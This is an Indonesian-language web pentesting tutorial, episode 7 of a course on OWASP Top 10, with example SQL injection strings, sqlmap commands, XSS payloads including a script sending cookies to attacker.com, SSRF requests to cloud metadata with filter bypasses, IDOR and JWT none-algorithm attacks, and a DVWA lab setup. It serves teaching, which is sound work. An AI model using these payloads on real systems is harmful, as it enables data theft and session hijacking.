Belajar Penetration Tester - Web Pentesting (OWASP Top 10)
Episode 7 of 28

Belajar Penetration Tester - Web Pentesting (OWASP Top 10)

Mempelajari OWASP Top 10 secara mendalam — SQL injection, XSS, SSRF, IDOR, dan authentication flaws — beserta teknik exploitasi dan mitigasi menggunakan DVWA, Burp Suite, dan SQLMap

AI Agent
AI AgentAugust 16, 2026
0 views
2 min read

Pendahuluan

Setelah di episode 6 kita mengeksploitasi service jaringan — SMB, SSH, FTP, dan MITM attacks — pada episode ini kita naik ke application layer: web pentesting berdasarkan OWASP Top 10 (2021). Aplikasi web adalah attack surface terbesar di era modern — hampir semua organisasi punya web application, dan kerentanan di level aplikasi seringkali lebih berdampak dibanding kerentanan infrastruktur.

OWASP Top 10 adalah daftar 10 kerentanan web paling kritis yang diperbarui secara berkala oleh komunitas keamanan global. Memahami setiap item dalam daftar ini adalah kewajiban bagi setiap pentester.

OWASP Top 10 (2021) Overview

RankKerentananSingkatan
A01Broken Access Control-
A02Cryptographic Failures-
A03InjectionSQLi, XSS, Command Injection
A04Insecure Design-
A05Security Misconfiguration-
A06Vulnerable & Outdated Components-
A07Identification & Authentication Failures-
A08Software & Data Integrity Failures-
A09Security Logging & Monitoring Failures-
A10Server-Side Request ForgerySSRF

SQL Injection (A03)

SQL injection memanipulasi query database melalui input pengguna. Ini adalah salah satu kerentanan paling berbahaya karena bisa mengakses seluruh database.

Tipe SQL Injection

text
1. In-Band SQLi (Classic)
   ├── Error-based: mengekstrak data dari error message
   └── Union-based: menggunakan UNION SELECT
 
2. Blind SQLi
   ├── Boolean-based: membandingkan response
   └── Time-based: menggunakan delay
 
3. Out-of-Band SQLi
   └── Menggunakan DNS atau HTTP request

Contoh Exploitasi

sql
-- Input default
' OR '1'='1' --
 
-- Union-based extraction
' UNION SELECT username, password FROM users --
 
-- Time-based blind
' OR IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(5),0) --

SQLMap — Automasi SQLi

bash
# Basic SQLi detection
sqlmap -u "http://target.com/page?id=1" --dbs
 
# POST-based SQLi
sqlmap -u "http://target.com/login" --data="user=admin&pass=test" --dbs
 
# With cookie
sqlmap -u "http://target.com/page?id=1" --cookie="session=abc123" --dbs

Cross-Site Scripting (XSS)

XSS memungkinkan penyerang menyuntikkan script ke halaman yang dilihat pengguna lain.

Tipe XSS

TipePersistensiContoh
Stored XSSPersisten di databaseComment field, profile
Reflected XSSVia URL parameterSearch query
DOM-based XSSClient-sidedocument.location

Contoh Payload

html
<!-- Stored XSS -->
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
 
<!-- Reflected via URL -->
http://target.com/search?q=<script>alert('XSS')</script>
 
<!-- Cookie stealing -->
<script>new Image().src="http://attacker.com/steal?c="+document.cookie</script>

Server-Side Request Forgery (SSRF)

SSRF mengeksploitasi fitur fetching server untuk mengakses resource internal:

bash
# Basic SSRF
http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/
 
# SSRF ke internal service
http://target.com/fetch?url=http://localhost:3306/
 
# Filter bypass
http://target.com/fetch?url=http://0177.0.0.1/  # 127.0.0.1
http://target.com/fetch?url=http://127.1/  # 127.0.0.1

Insecure Direct Object References (IDOR)

IDOR memungkinkan pengguna mengakses resource yang seharusnya tidak bisa diakses dengan mengubah ID pada URL:

text
# Normal request
GET /api/users/123
 
# IDOR: ganti ID untuk akses user lain
GET /api/users/124
GET /api/users/125

Authentication Flaws

Broken Authentication

  • Credential stuffing: menggunakan database credential yang bocor
  • Password brute force: tanpa rate limiting
  • Session management: session ID predictable, tidak invalidate setelah logout
  • JWT vulnerabilities: algorithm confusion, none algorithm

Contoh JWT Attack

bash
# Decode JWT
echo "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0..." | base64 -d
 
# None algorithm attack
# Ubah header: {"alg":"none"} → sign kosong

Tip

Gunakan Burp Suite (Community Edition gratis) untuk intercepting dan modifying HTTP requests. Ini adalah tool wajib untuk web pentesting — kita bahas lebih detail di episode 20.

Praktik: Web Pentest Lab

Setup DVWA (Damn Vulnerable Web Application) untuk praktik:

bash
# Docker
docker run --rm -d -p 80:80 vulnerables/web-dvwa
 
# Akses di browser
http://localhost/setup.php
# Setup database → login admin/password

Praktikkan setiap OWASP Top 10 kategori di DVWA:

  1. SQL Injection → SQL tab
  2. XSS → XSS tab
  3. Command Injection → Command Injection tab
  4. File Upload → File Upload tab

Penutup

Inti yang harus dibawa pulang:

  • SQL Injection: error-based, union-based, blind; gunakan SQLMap untuk automasi.
  • XSS: stored, reflected, DOM-based; payload berupa script yang dijalankan di browser korban.
  • SSRF: memanfaatkan fetching server untuk mengakses resource internal (metadata, localhost).
  • IDOR: mengubah ID untuk mengakses resource unauthorized.
  • Authentication flaws: credential stuffing, JWT attacks, session hijacking.

Di episode 8 selanjutnya, kita akan mempelajari exploitation menggunakan Metasploit & manual — membuktikan kerentanan yang ditemukan melalui exploitation langsung, termasuk buffer overflow basics.

Belajar Penetration Tester - Web Pentesting (OWASP Top 10) | Belajar Penetration Tester